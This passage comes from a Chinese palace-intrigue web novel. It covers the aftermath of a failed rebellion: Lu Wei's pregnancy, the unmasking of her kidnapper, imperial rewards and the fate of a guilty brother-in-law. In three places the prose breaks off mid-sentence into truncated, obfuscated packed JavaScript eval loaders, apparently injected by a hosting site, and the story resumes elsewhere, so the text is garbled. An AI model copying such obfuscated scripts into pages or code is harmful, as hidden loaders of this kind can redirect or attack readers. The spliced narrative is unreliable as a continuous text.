“我们凑齐那十二生肖,原是为中秋夜市上带回的小兔和小狗,你最喜欢这两个。可我们分开之前,你只是握着这只小猪,走后却又留下了它。我先也不觉,直到看见母亲给岐王府送去的添丁贺礼,每一样都印着金猪纹样,今岁出生的孩子便是属猪,这是常俗。我一下子就懵了!不,是快死了!” 他如此察觉,就算是冥冥天助,露微想来也只觉离奇,一笑泯然:“虽没告诉你,留下它,就是替我陪你的。可你什么时候变得这么聪明了?叫我以后都没办法骗你了。” “你还要怎么骗我?”谢探微抬眼就掉泪来,用力揩去,将掌心抚向她尚且平坦的小腹,声音喑哑:“有多久了?” 露微伸手替他抹去眼角余泪,道:“才不过月余。”将手覆在他手背,又道:“但名字,是你那时说想先取,就想好了。” 谢探微一怔,终于才像是吓着了,但很明白她指的便是姚宜若初为人父,他们议论孩子取名的那时。 “你不高兴?还是不喜欢这个名字?” 他点头,又缓缓摇头,再次倾身将她裹挟入怀:“微微,你知道的,我现在高兴不起来。微微,你也知道的,我们的孩子,我一辈子都不会让他受委屈的。” “好。”露微惬心一笑。 …… 从晏令白被革职起,周氏谋逆便正式开场,但谢探微能够想到以身入局的计策,却是仰赖露微身世曝露的契机。然而在那一时,他也并不知道,露微再则愤怒逼迫,却也是同他一样,假意做戏。 直到惊觉露微有孕,他才醒悟不及,而郑复紧接着带来露微失踪的消息,也才会令他急火攻心,当场呕血。可这,也是这场疾风暴雨的政变中出现的绝妙转机。 按原本的谋划,露微暂归本家,他便可无所顾忌地施展,第一步便是接近李柔远,以婚事诱导,先保住晏令白和甘州军将的性命,再顺势让她催促周氏尽快起事。 此时的急切,是他发觉了皇帝的异样。政事怠惰,决议荒谬,与先前的圣明烛照判若两人,根本不仅仅是被人蒙蔽,而定与皇帝久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一夜,谢探微在收到贺伦成事的消息后,也并无一丝安心,事成一半,却还有更难的另一半。 晏令白入狱后,金吾的兵权就落到了章圣直手中,即使他知道金吾不会听命于章圣直,却也因此不能轻举妄动,徒然授人以柄。这也是贵妃为何要金吾去戍卫东宫,也一时没有换掉紫宸殿前金吾的原因,恐怕真要成事,天子和太子的两条命,都会加在金吾头上。 然而兵事虽受限,也令谢探微自然想到了天子为人所控的“病”——他每在殿前戍卫,都是太医陈自和来为皇帝看疗,从未有过别的太医。而正月里,参加完杨君游的婚礼回家,深夜街道上遇到的太医也是陈自和。就是那夜之后,天子抱恙,贵妃复位,吴王领兵的种种事情,便接连到来了。 察觉了陈自和的问题,便是要查太医署的事,但就算是父亲谢道元出手,明面上也不可能开展。他于是就想到了姚家,姚家既是世代为医,深谙医事,询问姚家也是当下最不惹眼的办法。毕竟,姚宜若已革职在家,而姚宜苏也远在外任。 但出乎意料的是,当他马不停蹄赶到姚家,也做好了被姚家斥责的准备时,却正撞见姚宜若行色匆匆地出了门。他知道姚宜若一向关心露微,疑心其有何发现,一时就跟踪了过去。 谁知,姚宜若所去之处就是姚家在宁人坊的祖宅,他和露微探访杜石羽遇险的那次,就是被姚宜苏救来了此地。正当他心中更添疑惑,却忽然看见,那祖宅门下出来接引的人,竟就是姚宜苏。 姚宜苏当初是奉旨出京往天下巡疗,便是外任的官员,若无奉旨是不得回京的。再联系姚宜若的怪异举动,谢探微便顿时明白过来,姚宜苏身上必有隐情。 他再也没有迟延,在这兄弟二人关门之际,直接上前拦住。兄弟自是震惊,但片刻后,却是姚宜苏主动将他请了进去,直白地告诉他,自己正是接到了密旨,奉命回京,就算他不找来,也原本就是要叫弟弟去联络他的。 谢探微这才感到些许踏实,而姚宜苏虽然一直未能现身,在知道露微失踪后,也猜到她就在周氏手中。再从她放出的那些狂悖怨怼之言看来,并不像她一贯作风,便也猜到她与谢探微的离婚是假。 故此,二人的交底无比顺畅,在谢探微刚一提及“陈自和”时,姚宜苏便又一番话叫他恍然大悟。姚宜苏说,姚炯之后正是陈自和继任太医令,此人必脱不了干系。先前楚王谋逆,虽然一个太常少卿孙严跳了出来,却远不及陈自和埋藏得深。 而楚逆最初拉拢姚宜苏,要他做的,除了在天子的汤药里下毒,便是利用每年春天,太医署向咸京诸卫派发预防时症的汤药一事大做文章。可虽然那时楚王急败,未能成事,陈自和身在太医令之位,又岂能不察,他既为周氏效命,自然是要故技重施。 故而二人就此定下了计策,谢探微表面仍装作一无所知,但暗中,姚宜苏就主动拜访了陈自和,将他制伏。等到周氏准备毒杀天子之时,不仅陈自和送来汤药早已替换,就连殿前金吾饮下的预防汤药,也是寻常无毒的。 只不过,姚宜苏并不知晓,皇帝是怎样看出周氏谋逆的端倪,才给他下了密旨。谢探微也无法想通,除了父母和露微配合他以外,赵维贞和顾夷中又是怎样知晓了内情。 所有的事环环相扣,又惊心动魄,失之毫厘便是差之千里,谢探微因而才毫无劫后重生的喜悦,唯余对露微无穷无尽的愧疚。 96.烟归 不知睡过多久,露微醒来时窗外一片昏暗,屋内一切平常,谢探微还是守在塌下,正给她额上的伤口上药,见她睁眼便切切问道: “我弄疼你了?” 露微尚且有些发懵,闻到一丝膏药的清凉气味,吃力一笑:“什么时辰了?” 谢探微只是苦着脸,将她稍稍扶坐,披了衣裳,方道:“你足足睡了两天,医人来看诊,我给你喂药喂粥,阿耶兄嫂他们来瞧你,所有的事,你都不知道。微微,你现在老实告诉我,身上感觉如何,有没有不舒服?” 露微摇了摇头,忽然一抬眼:“孩子呢?好不好?” 谢探微被这话噎住,片刻才缓缓皱眉一笑,握起她的手一起抚向她的腹部,道:“谢如晦很好,你都没他好。” 露微被逗笑,一时也放了心:“都是我名字取得好,风雨如晦,该是天生就是个坚强的孩子——也像我。” 谢探微却无心同她玩笑,将她轻轻抱持到怀中,又道:“医人虽说你胎相尚好,但你有伤在身,实在体虚,若不听话好好保养,有你笑不出来的时候。” 刚经历一场大事,露微已觉谢探微变化了许多,就是这般嗔怪的语气,也像足了长辈说教,从前是没有的。想了想道:“你好凶啊,怪不得敢君前举剑杀人呢。” 谢探微却不觉自己如何,见她睁圆的眼睛里透着无辜失望,霎时心软愧悔,忙道:“我不是听见你叫我就停下了么?我只是怕……好!是我的错,对不起。”又觉不够,柔声又道: “微微,你还没告诉我,你是怎么知道谢如晦来了的呢?医人也说,有孕之初,是很容易疏忽的。” 露微知道他是卖乖,耳根子也软,低眉一笑,脸颊已泛起红云,道:“我就是还记得,兰儿的生母金氏有孕时,下人议论,说她月信未至,人又连日犯困,才发觉的。后来贤儿说起淑真,也差不多是这样。我疑心,就去偷偷去了外头的医馆。” 谢探微细细听着,立马就想起他们分离前的那个傍晚,他走进房来就见露微趴在妆台上睡着了,手里抓着那只泥塑小猪。他一时再不知说什么,轻轻用力,与怀中人更贴近了些。 露微侧目看他,眉宇紧锁,脸色黯淡,心有所感,道:“当时虽不能告诉你,但我相信你不会不要我,也信我自己,能和你共同进退。你知不知道,虽无十分把握,但我在贵妃尚未复位前就知道了一件要紧事,此事便是贵妃的死穴。” “死穴?!”谢探微恍然从低落的思绪中剥离,吃了一惊。 露微点点头,将他手掌握紧,“别怕,听我说。你肯定还记得,李元珍逆案还留下了一个未解之谜,便是那个将我掳劫到楚王府的尚食局内官何季——他其实不是李元珍在宫中的暗线,而是贵妃身边内官王弘俦的义子。” 谢探微没有忘记“何季”这个人物,了结楚案之后,他与晏令白都详查过,但他们是外臣,无法深入查探内宫人事,于是线索就断在尚食局,他便也再未和露微提过。 他的脸色早已迅速褪成一片苍白,既是为周氏和楚逆的关联震惊,也是明白,这层关联意味着什么。 露微知道他的心情,只继续道:“回想当日在楚王府见到舒青要的情形,她只是好心救治于我,根本不知何季。否则,我那夜也不可能轻易离开王府。这些蹊跷,当时都被楚案的影响给遮盖了,我虽记着,也总隐隐觉得此事干系不小,却一直到中秋宫宴那日,见后宫的纪美人主动寻来,才忽然想到,可以请她暗中在内宫调查。她受过惠文皇后的恩惠,很是爱护太子,而何季被我发现时,正是要害太子,她便一口应下了。” “那宫宴之后,你为何不对我说明?”谢探微心乱如麻,心中的后怕又添了不知几重。 露微摇头道:“莫说那时毫无头绪,无从说起,就是她查到眉目后,也用了好个隐秘的法子,叫我千万不要一时张扬。” 谢探微只好忍耐着继续听下去了,“你别急,慢慢说。” “那是我最后一次入宫辅教,太子闲谈时说纪美人亲手做了甜酪浆给他,比尚食局做得还好吃,却又说美人反而不给六皇子吃,还叫这三岁的孩子非要背完了诗。如此反常,我便顿时警觉,再听太子说这首诗是陶弘景的山中何所有,便一下子就明白了。” 甜酪浆是太子喜食之物,何季当时便是带了甜酪浆去接近太子,这便是纪美人在隐指何季之事。谢探微立马也反应了过来,但对于那首诗,虽知全篇内容,却是不解关联,问道: “山中何所有,岭上多白云,只可自怡悦,不堪持赠君,微微,这四句,作何解?” 露微了然一笑:“这首诗是陶弘景在对答梁武帝的问,便是借指美人在答我的问。第一句‘何所有’便可解释为,何季是谁;第二句的‘岭上’则是山峰高处,‘白云’则有‘白云谣’的典故,传说是西王母所写,连起来就是指后宫地位最高的周贵妃了。至于三四两句便浅显了,是叫我只能自己心知,不可告诉旁人。” 谢探微陷入了深深的愕然,百感交集,许久才小心翼翼地吐了口气,道:“所以,纪美人一直在暗中帮你,贵妃逼宫那日,她才会及时解救你,将你送到紫宸殿。” 露微不禁想起绝处逢生的情形,纪美人像是从天而降,将她从地上扶起,坚定地告诉她乾坤已定。 “是,可以说,此次平逆,纪美人居功至伟。你不是告诉我,陛下虽有失策,却也并非全无防备的么?我阿耶和顾夷中将军,都是陛下的奇兵。所以我还猜想,或许就是纪美人早将何季的关联告诉过陛下,才有后事水到渠成。” 这几句话,有一语惊醒梦中人之效。不仅仅是赵维贞和顾夷中的行动,还有姚宜苏的出现,谢探微都是疑惑的,便大约真是纪美人早就提醒过陛下,陛下才能及时布置。 “怎么了?”见谢探微出神,露微扯了扯他的衣袖。 谢探微很快定住心,只道:“当时听闻你一回家,阿耶便气病了,如今知道不是真的。只不过,你阿兄没看出破绽,你怎么也没看出来?我知道阿耶和顾将军在一起时,真的吃了一惊。” 顾夷中是中秋后不久离京的,当时便带走了为平楚逆,自甘州奔袭而来的一支精兵。而这回护驾的仍是这支军队,计算甘州往返咸京的路程便知,他们刚到甘州不久,大约在腊月时就接到了皇帝的密令。但父亲与顾将军到了一处,露微也是无法想见。 只到如今才清楚,原来皇帝下旨将父亲罢官时,就叫传旨的丁仁成将一封天子的亲笔密信藏在了圣旨中,命父亲前去官道接应顾将军,再将晏令白放出,统领羽林卫共同讨逆。但丁仁成也因此引起了周氏的疑心,被关进了紫宸殿的耳室。 “当时看阿耶真的气得不轻,阿兄还请了医人,只是后来几日,阿耶房门紧闭,只叫不许打搅,我忙着想自己的谋划,便也没有过于疑心,后来我就被抓走了,再无从知晓。” 听到最后一句,谢探微的神色忽然迅速暗下,抱持露微的手臂也不觉一紧。露微只当他是心疼自责之意,并不多问,安慰道:“都过去了,别想了。” 谢探微喉结咽动,似是极力忍耐,半晌却是问道:“微微,你可看见那个掳劫你的人了?脸,手,或是衣服,可还记得什么吗?” 此事就是李柔远所为,办差的无非是她的家奴之类,露微想来,倒不知谢探微为何还要追究,摇头道:“他们拿了只黑色的布袋将我从后套住,我根本不及反应。” 谢探微泄了口气,眼中血丝又明显了些,“罢了,我不问了,什么都不要怕。” 露微点点头,偎向他胸口,安心地闭上了眼睛,却没片刻,突然说道:“我挣扎的时候,好像看见一个人,袍边是浅色的,像月白色。” “好了,不许再想了。”谢探微的脸色一沉到底。 …… 贵妃周氏大逆难赦,按律赐死;周崇灭九族,章圣直、陈自和以及监门卫的叛军皆是随坐从诛;周氏之女李柔远,连同从头至尾毫未参与,却为母所累的吴王李循,皆是废为庶人,发配边地。 许是天子从未想过朝廷竟会接连大祸,在发落罪逆的旨意之后,又添下了格外深重的八个字:纵缝恩赦,不再酌免。 至于平叛有功的众人,皇帝却是将谢探微摆在了首位,不仅封他武威侯,还让他二十余岁的年纪就做了正四品的翊府中郎将,虽不再分属金吾,却是将监督京城昼夜巡警的职责交给了他,仍是与金吾相关的紧要武职。 余者赵家、姚家,还有蒙冤受屈的晏令白和甘州军士,都得到了朝廷的宣慰,官复原职。赵维贞被天子授爵黄国公,又下了严旨,不许推辞,晏令白亦授魏国公,顾夷中授河西侯,所有人的赐赏皆是不许辞让…… 如此逆党论罪,功臣封赏的浩荡声势,正是在露微昏睡的两日间如同泻川而下。 她因而想起困于闭室时,与周贵妃的一番辩驳,“高岸为谷,深谷为陵”,其实这陵谷之变,地覆天翻,高山为深谷,沧海作桑田,原不可能在朝夕之间。 但天理常数,总随世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“奴婢也是回谢家这几日才听说的,公子不叫此刻告诉你。就……就是为二公子的事!他的状头是假的,是勾结了坏人才得的。而且,他从前做的那些恶事,家中也都知道了。如今宫里的事也了了,夫人也恢复些,长公子便要发落他,今天就是亲自捆了他送到牢里去的。家翁和郡主自是一样态度,只是郡主到底受不住打击,就病倒了,都是大娘子在照料着。他们也不叫往东院透露,就是怕夫人再受惊吓,不好安胎。” 露微听来却是尚算平静。当日她一听说谢探隐高中状头,心中便知是假,如今真是勾连逆党的缘故,倒也像是此人能做出来的事。 只不过,她此刻才恍然反应过来,谢家除了谢探微救驾功高,其实谢道元稳住朝纲,为其支撑,李氏联络宗亲试探内宫,同样功在社稷,却并不在皇帝的赐赏之列——原来都是拜谢二公子所赐。 她亦不禁唏嘘,曾经立誓要替谢探微永远守住家中的一团和气,连长姊都已坦诚相交,却也因此无法挽回地作了烟云。 “走吧,去看看母亲。”露微捋清思绪,淡淡一笑,将雪信扶起。 雪信惊讶她竟这样平和,迟滞了片时,已见她自己披上了氅衣,只好跟去侍奉,低头相扶,一路谨慎,唯恐她脚下磕绊。 二月将尽,春风已柔,纵是为事而去,阳和节气倒也叫人心中熨帖。不多时到了正院,四下安静,也不知李氏是否醒着,露微便叫雪信先去通传。 然则,她方在廊下站定,窗边忽传出一阵啜泣之声,侧耳细辨,竟就是长姊在哭诉。于是,既不好此刻打搅,也生出好奇,招回雪信,暂且听了下去。 “阿娘,你千万不能再有事了!就算是为微微的身子,你也要快些好起来,她那般聪慧,只怕瞒不了多久,倘或伤了她腹中孩子,大郎岂不要发疯?” 长姊能说出这番话,露微霎时只觉无限欣慰。听闻当初谢探微假意要休妻,长姊不知情,信以为真,竟也能为她当众指责家人凉薄。便看来,之前的坦诚交底,终究是有益的。 话音落下半晌,方听到李氏沉沉一叹,说道:“我好了也是没有脸面去见微微的,二郎做下的孽,是怎么也过不去的啊!都是娘的错,若是早些听你父亲的,将他送回扬州,何至于此?!” “这都是女儿的错!娘早就提醒多次,要女儿对大郎二郎一视同仁,可女儿只是一味偏袒二郎,纵得他犯下这不赦之罪!等微微好些,我就去给她赔罪。” 若说长姊先前之言清晰分明,那如此言辞,倒让露微完全听不懂了:谢二郎再是投靠逆党,也只是为他自己加官进爵,就算她与姚宜若的流言是二郎所为,也不至于叫母亲和长姊觉得对她难以交代。这话,实在说得太严重了。 “微微!” 她尚未回过味来,周身已被环抱,惊讶抬头,对上了这人了然却又闪烁的目光,“你还有事瞒着我?” 谢探微无语凝噎。 97.雪尽 内室之中,夫妻一跪一坐,如有司问案一般。只是,下跪之人是自愿的,叫也不起来,问讯者便只能由他了。 “你是怎么知道,掳劫我的人就是二郎的?”听完他如实供述,露微心中有种说不出的感觉,只平静问道。 谢探微一早缚弟下狱时有多果决,此刻便有多滞涩,垂目牵起她一只手,缓道: “郑复那日来告诉我,说雪信发觉不对上山寻你时,只见落了一地的樱桃。我就马上回想起来,前一日见他时,他明明说是早一刻下职去探望同僚,才换了身常服,我却在他身上望见一块红色污渍,问他,他竟说是上职时溅到了朱砂。前日问你,你也说看见一个浅色袍服的人,他那污染的袍服就是白色的。” “那他自己可承认了?”露微心中难言之感此刻忽而明晰,不想信,却又更觉荒唐。 谢探微仰面注目她,身躯前倾,又将她拢住,道:“大理寺卿张渚亲审逆案,安定观侍女灵香下狱认罪,第一条就说了此事,谢探隐不想承认也无用!若非陛下体恤,前两日就该叫金吾来拿他了!” 从前听谢二郎直呼兄长名讳时,露微只觉无比愤怒和嫌恶,现在反过来,就只剩无奈了,“那他……不会判死吧?” 谢探微的脸色迅速暗下,冷硬道:“我不知道,死罪活罪,随他去。”沉闷半晌,却又含嗔反问: “微微,从我们未成婚时,你就知道他心术不正,做什么要瞒我如此之深?若不是阿父下狱前向我和盘托出,我甚至连暗中筹划的办法都想不到!” 露微理解他的愠怒,只是,却被后半句一惊,“二郎的那些事,难道不是长姊告诉你的吗?” 她起初不得已才和谢探渺交底,事发之后,长姊态度转变,她便也顺理成章地认为,都是长姊割情取义。然而,她的诘问,却也叫谢探微顿时露出惭色。 “微微,你还是……”他结舌难言,想来不管是之前假意做戏,还是如今大势已定,露微对晏令白的感情究竟如何,他都不能确定。若非刚刚情急,他也尚未主动提过晏令白之事。 “我瞒你,是因为你离家二十年,嘴上说得再硬,也还是想要家人团聚,兄友弟恭。只是我没想到,后事会不可收拾。”露微说得诚恳,却也是避开了晏令白的话题。 谢探微心如明镜,也不再提,只道:“可是你都不记得,我还同你说过,我最是要你平安无恙,若没有你,所有事都没有意义了。” 露微倒是记得他说过,点头一笑,抬了抬下巴,道:“别跪着了,像什么?我这里又没有油锅,哪里叫你一身的硬骨头就炼软了?抽筋剥皮,连个脸面也不要了。” 见他展颜,谢探微心中万事便都不愁了,却还不起,咧嘴一笑,却从怀中抽出一封书信来,“别打岔,我有东西给你!” 露微皱了皱眉,见信面上只写了“露微亲启”四字,字迹也不大认得,“谁给我的?怎么到你手里了?”正疑惑间,展开一看,却瞬间就明朗了。 谢探微虽知来处,却并没偷看,只见露微脸上渐渐聚起欣然笑意,也心痒难耐,凑眼去看,却被她避开,只好求问道: “才出宫时,夹道上被顾将军叫住,让我把江玥的信带给你,你们什么时候这么熟了?她何故传信啊?” 信只一页,言简意赅,很像江玥洒脱直率的性子,露微很快瞧完,细细收起,方道:“她救过我的命,已经熟透了。”又道:“她不让我给你看。”见他一撇嘴,有苦说不出的样子,方笑道: “但我可以告诉你,是好事——她和崔为定亲了!” 谢探微惊得眼珠险些掉出来,完全不像是听到了一件喜事,也说不出话来。露微见状,只想打趣: “怎么?还想着人家要给你做妾的事呢?武威侯。” 谢探微脸上一热,半晌憋出句话:“你别这么叫我,我害怕。” …… 前朝事平,皇帝李煦终于寻到空隙,独自踱步至后宫凝香殿。守殿宫人忽见圣驾,若不真切,揉了揉眼睛,方慌促跪迎,又要入内通禀,却被拦下,只听李煦问道: “她在做什么?六郎呢?” 宫人像不明白“她”是指谁,迟钝一时才答道:“回陛下,美人此刻正在后廊哄六皇子用膳。” “这时辰?”李煦抬头看了看天,已是未初了,早非用膳之时,“六郎是不肯吃饭么?病了?” 宫人答道:“小皇子康健,只是一向顽皮,今日午间只要玩闹,美人无法,只好亲自哄劝,就拖延到此刻了。” 李煦想来好笑,摇了摇头,挥手遣开了宫人,仍独自踏了进去。只是才刚穿过前殿转去廊道,不防双膝就被什么东西一撞,力道不大,但低头看时,倒是一惊: “六郎?” 这团小东西被反弹在地,揉着脑袋满口哼唧,还不及看清来人。李煦哭笑不得,忙去将孩子抱起来,便有一串脚步惶然而至,接着便是扑通跪地之声: “妾不知圣驾降临,妾万死!” 美人纪氏吓得脸色煞白,瞥眼皇帝怀中的孩子,更则浑身发僵。李煦目光垂下,见她只着素罗衣衫,头上简单发髻,一无金玉之饰,若不细看,只当是寻常宫婢。 “无事。”李煦淡淡一笑,未将孩子放下,却是腾出一手,将她从地上扶起,“这孩子调皮至此,素日真是辛苦你了。” 纪美人受宠若惊,忙又退开一步,欠身行礼,便伸开双臂,小心道:“陛下将六郎交给妾吧,他越发重了,恐怕伤了圣体。” 李煦点点头,仍不送去,道:“是有些重,看来虽不好好吃饭,却也吃得不少,比阿衡小的时候壮实多了。”抬手刮了下六郎的鼻子,又道:“这都是你娘的功劳。” 孩子已认出面前是谁,不解言辞,也未知惧怕,又咯咯笑起来,更向李煦怀里钻。 纪美人见状羞惭低头,将双手收了回来,“六郎天资愚钝,比不得几位兄长,到如今快四岁了,妾只见他吃喝顽皮上颇有本事,一首诗也不会背。” 李煦仍逗着孩子,似未经心,又过了半晌才叫保母将孩子带下去更衣,转对纪氏的目光变得深邃起来,“陪朕走走。” 纪美人自然应承,随在李煦身后,一直走到了后廊。暖日和风,帝妃凭栏,已见啼莺舞燕的融融光景,又到一年春好处。 “六郎有你这样的母亲,怎会是天资愚钝?” 李煦骤然回应她先前的话,纪美人只觉意外,仰望天颜,又觉心中惴惴,“妾妄言,请陛下责罚。” 李煦回眸看她,朗声一笑,道:“你是在清筠身边长大的,她的人,永远不会背叛朕,你也证明给朕看了,不是么?” 纪美人心中一紧,缓缓摇了摇头,不知说什么。 李煦继续道:“你受赵学士所托,暗中查明周氏和李元珍的勾连,又怕朕不信,只托付丁仁成叫朕设防。李元珍谋反,绵延两朝,朕是蓄力以待,断无松懈,可周氏,朕果是失察。可朕待她不薄,封她的儿子为王,将后宫交给她,让她的兄长管辖京兆,却……” 言到难处,李煦不禁沉声一叹,片刻却问道:“你与清筠情如姊妹,是不是早就知道,李元珍年少时就钟情于她?那她呢?她心里也有李元珍么?” 纪美人眼中早是晶莹一片,“惠文皇后是深爱陛下的。” “那她……又为何能将你轻巧地送到朕的身边?”李煦的声息亦已颤抖,不忍又不信,万般无措,已全无天子至尊的模样。 纪美人深深吸了口气,俯身跪倒:“妾暗查之际,见过一个年老的掖庭宫人,她是李元珍的母亲,贞德皇后的侍女。她说,周氏原是贞德皇后生前就选定的儿媳,只是李元珍不愿,反叫周氏接近陛下。妾猜想,李元珍是想让周氏取代惠文皇后,他才好得逞。可陛下与惠文皇后情深,他未能如愿。于是周氏便与李元珍成了怨偶,才会在陛下行动之时,趁机谋害太子,又因赵学士发觉,索性都推到李元珍头上。” 看似语不相关,可李煦已渐渐平静下来,听她言辞铮铮,全不似体态柔弱,心中感到几分慰藉,将她扶了起来,“朕知道,清筠是一个好皇后,你,也很好。她喜欢红衣,曾为宫中风尚,宫人争相效仿,以求朕一幸,可你就算与她亲近,也从不凭风望宠。” 纪美人含泪一笑,稍一低头便有双泪洒落衣襟,“妾起初只想守着惠文皇后,侍奉她一辈子,皇后让妾服侍陛下,也只是因她体弱,好不容易才有太子,便想要妾为陛下绵延子嗣。并不止是妾,王婕妤,张昭容,也都是娘娘荐选的。” 李煦知道这话,是林皇后曾多次亲口说过的,轻轻点头,“你的名字,朕若没有记错的话,是赞赞吧?” 美人纪氏的脸颊被缓缓捧起,泪珠未断,有芙蓉泣露之姿,“妾贱名,是,赞赞,是妾的母亲所取。” 李煦赞许地一笑,就以抚去的手掌为她拭泪,“那赞赞,你的家乡在何处呢?朕倒是不知。” “妾家颍州汝阴郡。” 李煦若有所思,半晌道:“倒是不远,朕记住了。” 天子驾幸凝香殿的次日,一道册封诏书便宣告天下,美人纪氏册为贤妃,掌六宫事,六皇子李律封为颍王。 这日傍晚,大理寺卿张渚也接到了天子的口谕,命他即刻绞杀逆渠周氏,同时,改赐庶人李柔远自尽。 …… 谢探微躲在自家院中的廊柱之后,观察着卧房门前的廊庑间,那一处张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原地留下的夫妻,倒只剩了露微一个人满头雾水,道:“你怎么还有事情没告诉我?” 谢探微傻傻一笑,已将她拢在怀中,“不然,我再叫太子打我几下?等你生了孩子,养好了身子,我再去上职。” “……” …… 过了数日,谢探微的假期尚无定论,露微却是接到了后宫纪贤妃的传见。虽说彼此相识,但毕竟身份悬殊,又在此刻,露微不免略感紧张,直到踏入紫兰殿,宫人扶她入座,她亦不敢擅动。 只是未有片刻,贤妃便亲自迎了出来,将已下拜一半的露微稳稳搀住,言辞态度一如往日,“那时真不知你已怀娠,竟能在那种地方忍下来,身子可好些了么?” 露只是恭敬颔首,道:“回娘娘,妾本没有什么感觉,又已休养多日,与常人无异,否则,也不能来见娘娘。” 贤妃轻笑摇头,携她一同坐下,又几番拂视,方道:“你这时日尚浅,还不觉生育之苦,虽说各人不尽相同,却不能掉以轻心,尤其饮食上,须叫你身边人格外仔细。” 她关怀入微,语态切切,就如亲姊妹间叮嘱一般,露微一时竟词穷,脸颊发热,只含笑应诺着。 贤妃自然将她神情收入眼底,轻舒了口气,执过她的手,道:“今日叫你来,实为陛下之意。你如今无官身,便是外命妇之列,陛下不便相见。不过是为好事,陛下要收你为义女,封为高平郡主,叫我先将喜事告诉你,也好让你宽心保养,待礼部议定册封章程,便入宗正寺属籍。” 贤妃娓娓道来,说得十分清晰,可露微只疑心听错了,“娘娘……可否再说一遍?陛下要妾如何?!” 贤妃只觉她是高兴糊涂了,不厌其烦又将“高平郡主”的话重复了三遍,“太子殿下一向唤你为姊,这在宫中已非秘密,如此也就名正言顺了,待你平安生产,还是可以辅教东宫。” 前时太子还在为她未得封赏而不平,不知那日太子又是如何对皇帝说起,怎么竟会是这样一个结果? “此事,难不成就是殿下去求的?”露微小心问道。 贤妃摇头道:“这我倒是不知了,左右是陛下亲口告诉我的。” …… 露微忽被宣召,谢探微既不知何事,也担心她体力不济,送她入宫后,便一直在宫门等候。徘徊了不知成千上万遍,将守门卫士的眼睛都晃花了,才终于望见了人影。 “有没有哪里不舒服?”一把将露微揽过,上下扫视,即使不辨她面上喜忧,自己脸色先白去一层。 露微难以一言蔽之,拽住他的衣袖,抬眼又垂下,道:“累了,先回去睡一觉再说。” 98.更始 露微回到家中当真酣睡了一场,谢探微便真以为她是劳累过度,直到次日晨起,也没想起来问上一句贤妃何事传见,就一门心思,寸步不离地照料。 “微微,张嘴。”一勺汤药举到她唇边,却半晌不动,谢探微轻唤了声,这才见她双眼聚起光泽,“已经不烫了。” 露微正是在盘算昨天的事,一笑掩饰,低头吸了一口。他松了口气,舀出第二勺,偏这时,丹渥忽从屋外跑进来,气喘吁吁,已惊动夫妻二人齐齐看去,却只憋出几个字: “丁……丁内官来了!” “为什么事?又是来传旨的?” 谢探微一时只想太子为他告假的事,可不管陛下准不准,倒也用不着大内官亲自传话。愣怔的片时,恍然一见,露微已站到了他前面,不言不语就要往外冲,被他一把拦住: “做什么去?不怕伤了自己?我去去就回,你安心等我。” 露微咬着唇,片刻道:“未必只是你的事。” “什么?”谢探微瞬间察觉了什么,眉间蹙起。 “我们一起去便是了。” …… 露微只觉事情就是自己想得那样,往中堂去的脚步越发加快。谢探微虽有疑心,却不见急色,只担心她多行受累,几次要将她抱起——直到前庭游廊间,他的视线里蓦然多出了一个不该出现在家中的身影,脸色骤然灰暗。 几在同时,露微却是松了口气。 谢道元和李氏早已迎出来,本与丁仁成说着什么,望见他夫妻到来,难堪地将脸转到了一侧。丁仁成见状,心中了然,只向已走来的露微含笑道: “武威侯夫人,陛下还是依了你了。但是,也让老奴问你一句,当真不后悔?” 露微一笑欠身,道:“烦劳丁内官上禀陛下,妾谢过陛下天恩,也绝不后悔。” 丁仁成点点头,不再多言,与谢道元夫妻告了礼,离开了谢家。然而,才目送一行人走出门楼,露微正欲向父母说明,竟见谢探微从她身后冲过,将地上那人一把拎了起来。 “敏识!” 露微急忙要去拦阻,又被李氏紧紧护住,露微回家至今,她才是第一次相见,未语泪先流,“微微,你要我怎么说才好呢?为什么要这么做?” 露微只看李氏消瘦许多,心中阵阵酸楚,“因为,因为贤妃娘娘说,陛下总也不会赐死二郎——” 她看向已然住手,却未放手的谢探微,也看着身着囚衣,萎靡不堪的谢二郎。 昨日她以为“高平郡主”已是命定,便试探着问起皇帝为何生出此心。贤妃便说,因谢二郎的缘故,皇帝不便过多加恩谢家,但她一向的才德,皇帝都是赞许有佳的。此刻加恩于她,既合情理,也算宽慰谢家。又叫她放心,说谢二郎如何也是罪不至死。 她于是便想到,皇帝既恩宠至此,大约能听得进她的话,便以这郡主的封号去抵消谢二郎的刑罚,交由谢家自处,也应是可行。毕竟,从知道谢探微缚弟下狱时,她就没想置之不顾。 “微微,这不是可以抵消的事!” 忍耐着听完露微的解释,谢探微仍无一丝动摇,抓住二郎衣襟的手攥得直发颤,大约手中若是有剑,便早已血染门庭。 “可陛下既然应允,就是不追究之意!你难道想抗旨?” 露微只觉他此刻通身的戾气,比在紫宸殿按下周氏时还要夸张,恐自己也不能压制,说着便索性跪倒下去,乞望李氏和谢道元能够劝导。 可二人哪里忍心,齐齐来扶,李氏更将露微揽在怀中,五内如绞,口不能言。而谢道元身为家主,其实早为兄弟之事无奈至极,短短数日,两鬓已花。他从未想过,强硬耿直了一辈子,到了此刻,竟怎么也使不出一丝气力。 “微微!” 僵持之际,谢探渺夫妇闻讯赶到,院中情形已不必再问,徐枕山几步跨到那对兄弟身后,欲言却又止。谢探渺缓缓环顾一圈,半晌只去抓住了露微的手,颤道: “微微,你说!你说怎么样,就怎么样好不好?” 她每说一字便有一双泪珠自眼中滚落,露微望着她,心中说不上是痛,还是惊,只是气息渐紧,掌心冰凉。 